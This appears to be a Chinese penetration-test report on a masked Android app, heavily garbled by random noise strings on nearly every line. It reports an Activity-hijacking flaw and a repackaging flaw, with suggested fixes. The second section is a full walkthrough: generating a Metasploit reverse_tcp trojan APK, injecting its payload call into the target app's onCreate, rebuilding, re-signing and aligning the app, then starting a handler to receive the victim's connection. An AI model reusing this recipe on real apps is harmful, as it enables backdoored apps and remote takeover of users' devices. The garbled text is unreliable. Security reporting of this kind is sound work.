6 B* X% d7 j( Y# J" c 表1-2 测试结果 7 K4 f$ O( v u. Z* u4 m8 G5 j* i
; h: O: |; ~/ f; A
, q0 W& |- A% f5 l4 B7 {
7 n8 c d6 [. E + d) L ]6 T0 a" e9 P9 n
5 p/ d; Q' x W
. R9 ]' z* G( {0 Y3 F$ U$ c! a+ B, _# ~7 v% a1 ^8 U
" Q9 Z; V9 f. M! T4 \( F7 C. v# ?9 @+ g2 a, ^/ m
* o( ?' `' {3 A1 E" o
9 \* @8 v0 R+ A" ^ 2 检测结果
; A* B% G2 e1 F5 m% z. G2 Z) A
# d# H* C3 F* F. i! L
- ~5 b: f( o8 S
; _- [* }2 A9 S5 o + w' ^: e# {0 s+ f% |( }' k
% p6 k" D# f8 x* L, X8 h 2.1 某某某
8 \& V, \4 k* n# L. t' E& ]* A* Q @- p! [' F
4 {" ~! k+ ?2 f! Y4 x
4 G. B) _8 d, C1 D8 X
7 W# T$ E: h* r& _% x9 r
; w6 r, J8 w9 h% [: ^ J* U 2.1.1检测目标 " D: M+ F9 n: T
! _' _. E( Z9 ~4 m
8 X# q4 C! R0 e( F( Q' [
$ h+ b @. }3 {: [5 S! H0 _1 G
; C- n: C- u9 J8 E) N
/ f1 Q" D( Y8 \ 目标地址: 某某某某某某APP . h" X3 {) B. S5 A9 y& @
5 D0 S7 b4 |& R! P, M% L
+ D3 |. }# D8 K- B8 Y
, b- a7 |2 d- D, b+ ]8 u& B # f, p3 Q5 ` a9 ?+ `
5 i/ v) y7 c# O/ w/ E6 y, [( m/ E
2.1.2检测结果
+ \& c: i0 t, b- K: W/ L7 X* I( B$ c3 K! H( j" x9 J
; @: E$ P' z& E$ K, Q% I1 \ R. Y* h8 h: \# \9 o) [! H( q @
0 f2 ?% o9 s/ W2 i# Q! y6 B& e; ?
2 ~, `' \; m1 Q8 u1 D; y$ u$ X
2.1.2.1 5 b/ h. o' _. ~( D" C" E
k' @2 d* `/ L# }& d- {* N
7 E7 q( j( Q) d' T2 t2 Y( j# q9 }) k
( [/ E$ r! K1 }1 V5 H5 L* V + k+ l- S/ S8 W# J5 u
X5 U+ P* L0 B0 t
漏洞链接地址:某某某某某某APP
1 _# E* v/ ~% t* m$ `3 r! t8 C8 i3 l) W( a9 @3 E
3 b g% {/ @0 p1 B/ U, H; r
) L: L! \0 N) v- d4 U( N+ K5 u 0 z' q; h5 b. K
- Y7 D- d4 {. c o
; @7 a- @: a' m0 o
' m7 }& ?& }4 H
) H/ R7 c( x+ ^0 L
* k- W7 G7 A& w0 y0 i - Y# F7 T) E9 O' i' V4 R: P4 F! S
! D$ q7 x6 p( L6 ^
漏洞分析及取证: 2 e0 E5 ]" C( \! `: x3 C& a; {; O
, A7 C* r) J @9 |( ]( t
; l$ f, ~: l7 C) f
& p$ `7 ]# u8 w2 `- K% c4 N L. S
3 z) E# o8 P# ?8 ~; N. M0 @2 P- n0 Q* G$ J; `
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
; `! F2 ?9 ?" Y) n$ n7 \7 U8 w' f$ {0 `, Z: Z7 l
- C* A2 N8 _ C8 E
1 H) ~' _$ K' E6 G& @ + x1 ]$ ?$ i8 Z6 l* D1 G3 d
/ Y$ l: Q/ `- |; I& V. d7 _- P( J
/ e) \' Y' V% y6 I( F. R. }# w @' g9 x3 ^) T
2 ~% ^3 k: B+ z" ^$ P- \% \! k l' r3 M) H$ N5 e0 M6 I
1 S* o3 Y" G& y6 D0 F! i7 W! P
9 D7 p+ Q# M- Y2 g) j
/ K- g3 e/ }1 y; t; x4 B, s7 N5 v7 h. h5 W% f
9 O' t; Z3 U4 Z3 G/ G
2 g4 p# T/ C( Q$ S & l/ f3 J- B0 |1 F% T5 G1 m
6 A" U& j: C/ u4 F! _! u+ f- L
: S$ @2 m6 F0 g) Y$ b2 u6 ~3 z# h# r8 R0 Y' H4 l3 o
{) f' N( q, p, \
& V2 _, ^6 k, M& H4 ^0 y- G9 A
/ h8 z0 j( o: J6 P
0 h; n# d5 K3 z) ^/ O
6 E6 Q2 R! O# i
( e# a" Q; y8 x2 B8 \7 C
* Y1 J4 U$ K! p
6 V: t, |! s/ h1 T4 a2 e! Y( W: u
" f) B2 U l: U/ l. {
9 K$ B0 B9 Z: J. J, e! Q/ n
0 `; E- F2 [( c
3 p6 [0 H5 a# k) {5 F0 V
2 p4 Y# F& T2 o+ v8 l5 Q* E4 V: N! x) O/ W. z2 L0 A* B! a
$ X* f4 x8 z' _( }/ }, c1 p8 ~* s3 l4 ?
漏洞危害:高 8 k! L1 L q1 I: o
& A- Q4 ]0 H( H
7 i& M( w7 |& C/ H7 n& b
+ ~7 V" l- M/ J# f0 d$ g/ E2 Q
- T% n; \' w" P( E; H' D- H j! g7 S$ G
6 b2 Q- |5 q/ N
5 e$ |$ K+ ]# j6 k$ |) x, @ 1 z% x1 k5 E7 |7 F1 h# s
: ^1 z8 P) `* L L! ^
4 F8 b8 |2 @" g- `
3 g0 r6 f0 d# A9 U+ c( x- ^ | " Z) D% C4 u \2 \4 A3 l
+ A0 U9 B. v6 y, x a
% s) a7 F8 I8 V! U, h$ \9 I' r5 b1 i3 u C
严重程度 + V: B z, O( m( _
2 ^. k8 X/ Y5 e/ q6 s6 T5 X% b
- [7 x$ k- Z% I( c' I$ O: g2 F' G0 t: E0 R
|
# H; t( P3 g1 G E
! m1 T3 q' U/ q0 g 8 _1 J) U, z, G L
h; D7 ]+ F8 ^
7 ?8 x2 b$ {) c! u( D9 {0 [; e! b7 c1 ^
高
" r# m" K, Q, i I& q& ]8 N( f5 Q/ @0 q6 a1 q" u J
; D/ ]9 I# n6 X, p2 W' A9 J2 ^, K8 @; W% F, a) f/ r* q) D" _
| 6 |* J, j# o, e% q1 _9 t
! C( k' [7 P9 T8 C5 J# L0 [/ [6 ]; R
. E1 ^" J# m* }, U/ A, Q1 l4 w3 s; h
3 Z7 E6 u7 Z _, [3 L7 x! l! T
) Y. Y& _: K9 ^& P1 R ■ 8 D" P2 u3 ]) Y) x+ i. d: Z$ m
y Z- u, |* x5 n7 b
9 z1 G/ _& I; u) t9 Y" D7 g
' r$ O4 N" j. K5 F |
" i! A# Z1 ^* d. W; B2 ?/ N( e1 W9 E7 z: ?, a
, I7 j% U2 P; a- B: D' o- h! P U
9 b! p( _, n1 L, a, x
2 ^, }( s# L9 B# z* {# f- C9 j; x- E+ ?" t( b
中
7 P4 S) n1 E" r$ ?5 B3 G7 [, F% Q/ S7 p
: \$ j5 I) f' W
v" t) Q8 ^* h5 f | ) `: ]+ \! V+ f7 \. u
$ Y/ h9 {) E9 P
7 g5 \) \0 k$ s2 U M
3 ~- ?: @7 V. J8 m ; D" P! F5 V% R7 W
7 D' Q, y$ l6 x, d$ i, [9 b- |/ V1 v& [6 z 2 g4 U8 m: a1 P2 b, w: p
& \6 J, { r! p; R: d M' j
) f& v9 _9 c* S: Z" y
# t0 T5 ^* y; {; E/ C/ f5 w( G | ; [* O# w# Q; e& E! H" K
& @9 j. b/ v7 Z5 N9 U, ` v5 o& \, T 5 h v) n- {" _. G8 y; Y$ Z/ ?
2 W: {( r* g6 M0 U1 i
5 ^# D7 f3 c7 e' Q
3 Q( N3 R- S/ |
低 % l' L6 \5 R: T/ `9 m4 E
: {$ z0 Q1 |- [( \
( _ s& l( Z8 ?- \% a8 R: A: h
( I3 Y; n9 V5 ], @ | F9 y! W" h9 ?$ x T
, i: ]6 `/ ^0 s# v
! a1 A1 t- C2 p) b7 S
( E2 y+ y& p. s8 g# z8 W* O- l6 i / ?& T; g4 b, l
1 S' A J1 f: l
- ~( C* d5 C: @
7 u) E( k( d9 f# K% j ( U5 y/ X; c- B* g
h0 Q2 u* ?. i
|
0 R9 x) P# S5 A0 w3 s; Q g4 ?6 V: s
- @# b# s; f7 O/ L) K* S
) R5 ]6 C/ f( b2 j6 X. r9 X
, ?* F/ ~) g# U5 y' \7 L$ ]
9 i. {6 _3 v! Q$ M) |( h5 _' P
% j+ i" L, a0 k/ j2 Q, H
( p; R1 k/ L' L/ L7 ~- Z4 W
8 p3 \4 L/ g( \/ C4 S& l5 L0 J1 [+ e! |
1 i; z/ i' E1 l" d
/ I6 d0 \; H+ X+ ^ i' C ' Q! q d6 N o9 m
+ I7 L, d' j6 W2 E/ L$ T' O& F
. Z' x0 O/ c6 n3 C$ M8 D) l7 F( }* x2 q7 s P
, Q6 h7 J0 C% u, f8 V7 [
v2 J/ e! F* B2 _% K, C 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 # U/ N+ k1 P) j/ A
! } ~& A N& h+ E" k; q9 Y) g
2 a! B3 O7 u+ V9 t5 b' k$ h
# L( P% R! d7 A4 H# Z9 q4 Y' o $ q2 R7 q; g/ o$ f7 B+ _
& o* S5 n1 `4 J7 I$ S- F
5 {' g$ f! U8 `- m! y- L9 Q. t! j, a9 j
; F8 E& n6 [7 e/ ~) S8 j+ Y
9 ]* E& @* b2 ]- I" q$ k. @1 z5 R
9 R; i; R" [, W: v6 _7 |2 e' m. K9 M% p
5 z Q) s7 S2 L, e" E1 k' O: `3 @" ~$ Y( @ |& _
6 O. y% W* H+ o! g$ }9 L+ e1 l( S
- C, r6 V- y( f8 [4 r& ]' W9 z( e ; J |' H) X) R" R; f4 f
2 ^) `% S/ f1 V9 `! Y8 d6 a- T
2.1.2.2 G+ v* M8 B' A! l" p( ?
4 u8 s8 v" g/ a4 ^/ \( R( U& B& O
3 N' ]# T2 f. q$ _9 { P' P, P
; S9 _/ T9 y0 x- u5 M
: M: d* ~! h: ^7 D& D8 a5 X( D3 \' \, r" z: [
漏洞链接地址:某某某某某某APP 7 _5 a+ d$ j+ D- _1 R& `
7 g+ D& h; _, D5 S V c4 ~) c+ u
- M' Q9 _5 A- K3 H0 ?8 B" j. f
1 {8 N, K1 C4 b: o
/ A) F' J9 d* s! f+ p6 ]8 R/ |# v0 u5 }/ r; g3 n% i
漏洞分析及取证: 2 _4 b) i( a4 i& V' Q( ^
0 S9 X1 w- [7 F0 L8 c$ H2 U
" E" M4 l- U1 J" N' ]
6 \# ?' e, y% l1 @/ r; L6 q$ v5 {
+ m9 j" ]6 m! x% M! r% V% Z- K
# B) J4 V$ \, ~! q3 a" v5 q! F% L 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 2 E M8 V( [8 H# j+ N6 O- ^. A
% h& T2 |+ c* s" Y+ S, m
2 e# e# w4 X- m2 |* H: F; a
& S3 }! `) v, h4 _8 x# X1 l1 H
5 O5 Q2 e' I2 |6 y
3 Y4 c4 V. m% h2 ^9 E 用Metasploit 生成木马 apk 4 @% o4 ^, w0 x1 C
6 b" {6 J' N1 Q( l$ \. r
0 ?5 {+ x3 H9 z: i1 Z
. R0 x4 H N4 F; ~7 j4 X! \) ` : D+ G2 {4 U. K* Z( ?, ~- k1 I
6 ~+ d9 {; y Q. q, j
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk # O" Z2 f! H3 y/ X/ Q8 `
! C* w K: ~1 y6 f2 ?% T8 Q. I
( n: ~ o5 s' P, m9 g
& n" m* `" I7 m. b) R1 G
; f2 X: C. [- L" V1 s5 x
6 ]( X5 f2 ^6 g7 J" C 反编译目标apk和木马apk : v' Q$ k, \& m: M% O* g8 ^
4 x5 [% d+ P7 U3 D8 i! ~+ V* z
$ A& f! r( b5 Y. z$ {3 ~- P2 k
% y; v) w) [* |8 t. Y- |
( X+ G1 ~* r" N$ G5 w& a5 d+ U0 G) u4 G3 ?9 Q3 M l
apktool d target.apk
" m; p6 x$ L& i6 Q: N
; c9 c6 d, K1 w; g0 D apktool d cockhorse.apk ! L" x6 H2 I9 R
( X" D" q' U# _+ B9 h$ s
! \/ {' W' U% L. M% q1 T9 p
8 ^" {2 e' q( K# j6 c
5 I3 i9 X. f8 H0 A0 r2 j
: Q8 |! q+ c1 U7 m$ c! C; X 木马 apk 注入目标 apk 8 G6 F3 _( ^6 t8 z! S' ]
" P4 X) I! z' L9 M
5 R7 A" O0 T& k8 B! X: x' n. p5 Q: _2 I" r/ x$ T" ~ [8 r
3 x" V9 s3 }2 G/ n' {% o
& r2 Z0 U1 A. W& H( \$ O2 h 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
/ q3 y" y/ Z/ ] d Q: k' i3 ]
- E+ \* f) V- s4 t9 z invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
% M! \# E( n: r0 q% }# s: ]' u1 A' l
9 [ _1 l4 x( o/ ^2 N
# z6 V1 k5 W' r4 a! A( w: \6 u' g. O0 f0 @
% S4 V6 L% r* A" _6 [% ]" K
1 |, i; @9 {, e4 d4 _: v% Q- t
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 ( {$ O# N9 D- W4 E
' q. ^6 r* ?" \# A0 Q, }, W- B6 \
( ^8 X' m# e. |4 ]) a: g
/ U: c' M* w2 d' F 7 L0 R1 q4 z `! L2 E) A+ x: n. ~( {
/ N! t. d8 c* |2 o/ `4 Y5 L5 y2 E
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 . u! u4 \5 ~1 A2 [4 a. H3 s4 F
8 [4 X# h5 `$ ^/ |
5 Q" G% e& `& w/ p" J
4 f7 M' M* N$ w0 v
3 Y/ w3 C3 Q5 n
g2 S' j6 H: t6 E 回编译生成最终 apk + Y e: ?2 V$ f
' B( z) Q# {0 T
! d! |* f' A2 H2 a, f; p: p; I; k
/ T3 ]# w0 w1 {: Q% {7 @; k( m
( h& Y2 _9 H4 h) p; }$ ]! k0 _
$ ?. o, X P) r* [) R: F1 o: D 重新打包 2 Q% N8 x, O1 K0 ]
: W, v5 } W/ h" E9 ~- n1 v# G
! s E4 w7 V: C2 y5 W, ]
3 u2 B3 Z" k- w+ G8 i $ H! v% e1 n N" ^! E
2 P7 I! v! C, a: [5 M
apktool b -o repackage.apk target_app_floder
5 Q+ P4 [, e; h% V- ^# v* Q1 `% y+ r* b g8 U
0 n2 x% P/ H' s# h4 T9 s& S
0 w6 V0 E! Z+ I: i5 N. m7 {9 [. U 5 R' e, L) h. W, d H% C
5 T+ ?3 `; f" r' F
创建签名文件,有的话可忽略此步骤
* I5 c9 W9 ^; l) S+ }
6 I" l% n \5 i: p ?2 w$ z2 Y
- z5 a1 l7 l% e3 t+ ?' H- y
2 a1 z: R8 S" Y* K8 J 8 n6 i# ]& @8 L; }# L4 X
: ?! Q( C# r( ] keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 7 q7 X0 Z {1 m# c/ A; N
* S) W+ w/ @$ O; u' ~
. r4 y9 J+ b5 P# N. I. y; _+ G$ e2 {4 B
1 z( o; o M, @/ O( j+ I. b
# M' Y8 h- P' h/ F4 ]8 i
签名,以下任选其一
7 \6 V+ l3 X, u, a
! r" I! q7 } b; X2 J- v
O0 L. @/ o6 h a6 M7 z* v7 i5 c5 f. p
6 R1 b! A, S( T9 p
* L0 t/ L8 S) {: w jarsigner 方式 % a' p: U' N+ R* |: b ^6 I
- i6 G$ r& m) a: w
4 Y) t" u1 [) s3 D* n9 s; e* U' @
, J U! t! n, M* B % B0 c# K8 K( [" s9 ~4 {
. }/ l2 E g$ N' E
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 3 G# J/ U! Q/ n, P
( w) s: f6 C0 E1 D
1 u+ ?" ^& h# P* j3 X0 C3 u
( M$ U5 _' w- o+ ?* G5 N- r; e 3 U2 y$ a, E8 d. k. O" s* x
6 x" K4 q8 w4 u3 \5 q' r1 k E
apksigner 方式
7 l2 o3 u+ y0 ]: {' \1 d3 Q @, e/ i4 J* S
: w4 G2 ^( |% S3 f, F4 B4 a* X$ _# j
/ g& g0 d6 @ V3 L7 H
$ ]8 s9 H# Y- R) x5 |4 m
1 P# | s. h3 m& u9 \% ?# |( f
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
, b0 A% k- t3 H# O% y4 V8 i7 f$ F9 f' S+ x& L' h. [+ c' p
& n- J1 t& @/ i! _7 w$ M
! i& U4 _* W% W3 M9 S/ z( r 6 u/ d! D0 S9 l- q) M
0 d, h/ w. }, M$ X 如需要禁用 v2签名 添加选项--v2-signing-enabled false " M$ B; u( ^5 c, G/ k, m2 H. V
8 a! y/ F5 R# ~2 a
' ]) Y/ T7 x% T
8 F& C' l8 y B; w
+ Q+ Y& E- B' |4 e/ P9 h
& n* @2 y) K$ j; ]4 a
验证,以下任选其一 % j8 T- u ]) M) ]4 n) m
# Z. r C0 V+ [ J, u4 [
/ v5 {4 `3 j. }4 g0 I9 n
4 n: x' H. m- h& R% i$ v& | 3 c* l; C+ V, D
$ ~8 P: K8 [$ F- T
jarsigner方式 ' Y" X& d' D6 ^) B6 ^* p
2 E5 O. {" y! r, ~: z$ A g
9 ^4 A* Z- o% W) T8 z% h+ p# D, A K5 {1 [; x4 V
9 [% o( ]$ @1 l# \+ `" g# G/ Q/ s6 w0 j' U2 W2 [
jarsigner -verify repackaged.apk
+ G2 B4 I& n; r) j+ ]& G0 D; v4 j3 Z- e6 T5 A
, k1 `4 t. W7 \( R! W/ ?0 ] i
3 L K' w% _2 A3 {& R$ u% g5 o) T O# ?
( g* |+ J# ~. v# |; e
: u) F1 V9 S+ }& s3 Z apksigner 方式
( b u+ P% g# m
1 j x% Q3 D n; [7 `2 o' D
" Z) x% \6 P& j+ P* I+ D/ u
% A7 @) o Y$ j; e $ Q ~8 i+ w$ G, T" d, G- \ N
- f' E+ G2 S1 F# \5 t/ f+ K
apksigner verify -v --print-certs repackaged.apk / o+ e: Z5 u# [# ] \9 Y6 I. |
( s1 v0 Q- P; |9 i
0 X( A/ N- C0 C% S2 `: h) x, ]4 [3 u# m! m3 F) x
8 Y, Y6 V" V- J$ M& ]
( j) g& b; c- ^, [) |2 M" B
keytool方式
. h7 x7 q, \+ D5 o1 S0 g5 x
( q; {% h* a$ b% R# Y
/ u! V- |) |* p2 M% D
0 _% J# P2 i4 s) y- n6 Z
1 g6 `3 D8 r& K3 h2 g, P+ a; D! X
4 X" ^& I9 Y; R
keytool -printcert -jarfile repackaged.apk
3 m8 q( i; m: q: N6 M! p$ G' s, J1 Q& R8 J$ @& n2 p) M1 O4 v8 [
' C3 H$ y1 j8 i) ]6 s7 Y, W: G( ]: M) ]8 N8 a$ G
# j6 V$ d, Y" V h! e8 i) ]5 h" ~* }$ @
, w# J8 C4 Z$ d! H' o) X1 q& N 对齐 0 x' |* S6 _ E4 a! [( H
) c' S$ v- G& b b
0 R2 v' J o) K/ S
; L9 l4 v6 U7 q- B2 J0 l1 f & L# w0 c4 e" e F; p
% E/ w% x! t& ]0 o
字节对齐优化 # b* v8 ?- Y: u% F
& B6 p" ]" N H: R) ?6 N
, g7 {1 s, }# `& A. a7 \
$ g1 K' k$ Y3 ?! |
( K. i- i$ |( j( j
! A! z4 B3 ^; L! n; C5 b: n
zipalign -v 4 repackaged.apk final.apk
! p. F# O5 }) q% i. B" f9 i7 U; n7 e0 z5 Z+ X
5 t* N* J( g& O5 @' ]/ d- F
( |' j* R0 L6 o# M2 C9 X6 J* M* Z
( ]% f7 b' G" _# y' P. g6 Y) B5 y" {) ?% d) m5 l, Q$ x
检查是否对齐 ) Y6 ]3 C7 Y- [! _2 O! U
+ v+ `; L, ]4 _) }+ f6 H! s; B/ r
) a6 ^' C6 a9 L# H
* ]7 z5 f/ j& a3 M+ V, ^! @ " L r/ ^# z4 N D' H
* f: g3 p- W7 C; ?5 ~. Y zipalign -c -v 4 final.apk * N3 q+ D8 B+ q& F/ ]7 ^* y1 W
/ H# D! D( f# r) L6 r$ D
8 Q- v3 m4 K3 g3 i4 ^
X* M% ]4 Y: F- l
6 a7 M H( s v1 H8 `- o) g
8 P6 O/ D0 _" } 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 9 Z( N- m+ o8 B/ H$ f
! n" T2 [1 b: Q! l
% ^9 ?: E1 A' ~* I1 W
: j, }2 X* @) z 2 M- O& B" s+ y) l
6 s. E9 w1 P4 h) T8 b; n* u5 l
启动Metasploit控制台,配置参数等待上线 # u# R1 U9 c$ [8 A# p
! Z# m6 r' q4 `/ H( ~
9 P+ f `' f V8 [+ `) U! ?. I9 `2 A7 U0 n- u# I8 b
, p. O7 q: D. A- L& ^$ a
& ]2 B7 r* J1 S& _6 ~+ _
在终端依次输入如下命令
9 C- |* o) @, g v! ?/ Q- u) u$ F4 X, H8 C, J7 t, {4 ^
5 z& o( B5 V* y6 H3 [
; s# f1 W- t2 E1 N. t ]: f% U t. ~3 _
8 W. j& A0 Y4 k- w6 R
) ~% g; ]& U' N* n6 F9 [) q! {; c msfconsole ( `: A# p) E- c1 X! L# e& s& W: N1 @
5 }0 u+ ]$ d% U* i5 O
% V7 x/ v8 K i2 _+ ^. q4 k4 s
% i7 {5 K6 v- S- v
8 \+ o4 ]- K _
( Z# I$ I9 ~4 Z$ U
use exploit/multi/handler
5 e* V! T6 J0 J8 L' ]+ _4 {6 ~. A2 K/ i; Y# J8 _% d% Q
7 c: \) _% ?+ O* I1 `5 L, \
8 x) j9 [" f9 f& g ) j! ^( l; B$ r1 O
4 C/ Y9 r6 \5 s& T
set PAYLOAD android/meterpreter/reverse_tcp
# p( I# @1 g! D1 e8 R
+ a+ l- a8 z) m _
* w1 ?0 V9 J' W
) j: Q0 _. {- \$ ^) R6 @; j
$ B$ ~1 b: u8 N+ h% E
* k0 a4 n0 h* d# ~: Q set LHOST 192.xxx.xx.xx
1 T5 R2 `; c0 U4 }+ t2 |; L; S* `, H1 t
5 \1 X7 T7 p9 S4 o# B/ ?$ q- b4 l: P
! a" }$ H) h" p1 U
% l; a' x6 r5 f s) D3 E
; Z1 R' ]' _/ P G set LPORT 4444 3 g7 \1 w; |7 m/ j6 [: H* h
, T( z# E# e7 f, k$ {* c4 q+ J
5 k( s: l- i! { x, A& [& A* b
# H I- m$ r% l; B4 ^+ v9 \
: w5 x- }% {% K
8 i/ a: d0 x, u# T8 p5 ~) k exploit
. a$ q- |) P; x ~/ M+ B: u' _% Y3 N9 x. P/ k
4 ?0 c! t# E/ z. ?) ]' B3 C" |
( j1 H0 v" b0 }/ q6 d
+ u- g/ Y6 g$ b& L& a# } h$ H; I; w! e! {% d Z
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
+ I: W9 K) S+ @! U6 W% Y5 P
/ c1 B8 D# L9 g
' `& D, R& d2 A4 z1 k r
- P! g* H7 Q9 z 2 [. F7 c# u4 s
: \0 Z7 D5 A2 W+ l 漏洞危害:中
7 B# j4 `' ]. t' g+ A1 \
/ x$ T" a$ ?! G% L5 `( U8 @/ \: H
1 y1 a6 o5 U! W+ Y1 v+ `2 ?: z& v' w) B" _3 O
/ {) |# @: b Y' \
- r% s# P6 k( w. q: v f; y: X
. L" ^9 w1 a9 Y- m8 t
0 p6 J$ A7 u) t5 I" k
1 _: v& q8 ?, N
* F5 j- R m0 a( Q: k4 W + J4 @! z, g8 s& ^% e& `& H0 {
( K& r: j' s3 C: D' P1 l
& Q/ u3 _! o- D3 `/ a! E/ G2 `: Y
' U, b1 m" s5 z; G( |8 a! j0 H |
* T/ I) N( \/ @. Z
4 a$ S$ H2 V1 c1 Y 8 S' { U. b& V( `# b
* v( E3 q6 ?/ [) x: t4 K9 z
严重程度
, _6 x. o, B. y" b' Q9 R& o9 D( o2 e- P6 I% S! K
( H! H- e. x3 O+ C# _0 Z3 l
9 W- S, I. e! b( b
| & h/ w6 E0 }: w5 Z
7 T$ h2 U- Z: z1 l% Y7 L: x/ N - v& }' r2 U& e4 o4 z& v. s* U F( \
: v! j/ o- d# a0 R" g, S; p
4 }4 J" o* `! p5 `- j; ^/ r1 k i4 s U' `* c o. W
高
6 [% g, Q* i* |9 E, X! C
4 i5 ^# k/ p& g* T9 k8 M4 j; v
( s- J( C5 u' F3 X3 u, B( y' Z" d+ B4 A) i6 d% B! j
| f0 Y4 x1 v/ R& g! F* }9 ^
& f% P: o" Q5 w# [* r3 z* B
- j# @1 G( ^5 \4 K0 S
- m0 A6 I- c. f1 c. l& {8 ?4 v
) {. E" y8 a5 d3 Y/ y) G& D y, W# m: p0 t5 [. {, @
■
V6 ~: p3 q6 M+ \. j/ a" V7 B6 Z
, b; r( ^) z3 B4 ^, n5 E0 G8 k' P$ B2 O0 v1 ~& n9 F" t3 Y
| 4 H7 m+ V- d' F1 {# W, a+ ]
7 _) f$ W" K7 z& `
0 x& ~( S2 o* @5 r
3 F; m- q8 }; @( y
7 Q( G+ ~3 `$ K; M" t) h2 ~+ }& P" e8 \4 ~ {# M- l \
中 ) w. J1 s# m' D& K( [0 h/ A
! T3 m9 Y& B2 O/ m( G / p* z) I. @7 {/ O) i% N- k! m) [& _
0 w) z0 x8 o+ f
|
1 i" N, S( y' r ]" b' s s. F
# |; m% \' y" P- w9 V1 @1 I+ N
4 @2 x7 ^ t7 h
" r% w- ?& T9 `0 M, c: _7 ^0 I# V 7 g+ M9 K; o7 h* Z5 r) t) U, J
( ^" R8 W4 Q. ^9 o
2 E. b" O1 T* q( I
+ Y: h% _& _4 `2 b
7 v: J1 K/ o0 [. l- V! `0 Y1 c7 ?2 O
: P; p: W" n" \2 v/ \2 h
5 [* }) z7 f z- l* m$ x( [2 Y |
& K( B% z2 ?4 h2 |& O( L! a! v
. f1 H& |, v6 Z& [" a2 h - i. L ]' l6 ^: y( V+ }
# Q+ v) L0 F# z3 Z3 I0 y+ ]
& Q5 U. y2 J$ Q4 k" I7 O- D4 n+ p$ p3 J: w. n6 } j; |% n
低 3 t5 K4 |( q! {. W
$ W* {3 p9 L# c- q3 Z% a . R* c8 M7 @2 I6 b2 A
+ r2 Y; L7 e' U: r4 f
| 5 Z6 @4 U& j: t8 m9 C
/ J- D1 ~. d% X1 S7 q 2 z& _: O5 J8 f0 j* n
0 u. w/ @: U h1 M6 a( T) I0 ?
p7 ?( z/ R4 o* X/ W. |
% ]7 F0 z5 R" M) z $ {8 R4 J$ @( V3 X$ |
( s) X9 \" u) E. E7 ] 2 n/ ? Q1 R/ }; e" s) N
' I" }* n& F- l7 l5 T' }
6 R" R. g, }' N H3 b1 X' E5 b% J6 S8 b, {+ X
| $ v. F4 P. X) h7 J, X+ G
$ h9 b# ^+ @+ X% t0 v1 y% ] @, c
7 f( `3 T: P# k* h2 @
* J! v u& x. i2 H! P. s1 S8 `
. C2 t K: E; n' |. j( R, a: c, ]4 N- ~& X0 z( F+ } u
# Y2 @: @) @9 Y% ^, W4 r2 {
- C- Q1 T) a3 X; b; h7 O
. L! M+ T% b2 L! Y) T4 @3 t
\# P2 b# T# F; p. Z % I% e' _% ?$ F9 U
; c# m8 K% [( j( j1 ^5 a
$ j6 c! C( x* L: z- m; k6 R5 H$ R- m5 g6 q* @$ S% R: A8 ~
$ S L1 G8 A) {+ z S/ U }5 Q
- T0 n. z$ ~$ `, I, h8 H, a
% Q0 x% k* G6 L" t; j' j
0 N1 \% t# e' S9 ^$ r 修复方法: % ]4 m1 f, M1 M# ?1 w: ^6 F: H) I
: `, G' w; d3 u* z5 x6 W
; e: O; A7 ]1 m; F" I- W5 S
" b4 p, |" s9 O% h* t" v* W 9 ?) T1 P; z' H$ m# l
8 U- m ~& r+ _: X8 j 1.在 APP 启动时应做签名校验防止二次打包。
# n: I9 n1 H. L$ U" _. w! i6 M
% G+ V0 A( c) C( T$ Z* t 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 # t# p0 c9 l, Q+ P9 Y$ G
4 D5 B# Z- l. t( z1 a. Q
) Y0 a9 K, [# B* r& r8 h0 k% I0 G4 ^" d. {8 C
& S- h! k% K z( D
E+ o0 \) d. \0 z* t+ I2 y+ [& V. I ' g# _0 P: E; v/ z+ H) o
% x9 w5 j7 |7 B: }1 ]9 |- O
. @; y+ P4 R" g1 ~
% n# s1 I! P, c: O+ a
; W; S1 r. J, X8 m" G
; R- e) @: O1 w3 y2 w% r7 i% f6 D
5 E9 a" a; W' B5 C! U
' \+ S0 G, n1 _$ o$ U , I; i% j+ n5 ^* H8 x3 @9 n2 y! }0 s
" C+ j8 @- z/ v6 Z% @
/ y' }& ^& [3 U; c
- g( X) b9 \, ]/ {" V+ d4 @* r
! W0 ~, G& Q, i* m+ F- ]% p3 w
# }: [5 H/ J/ Y3 ?) ^) G9 x; q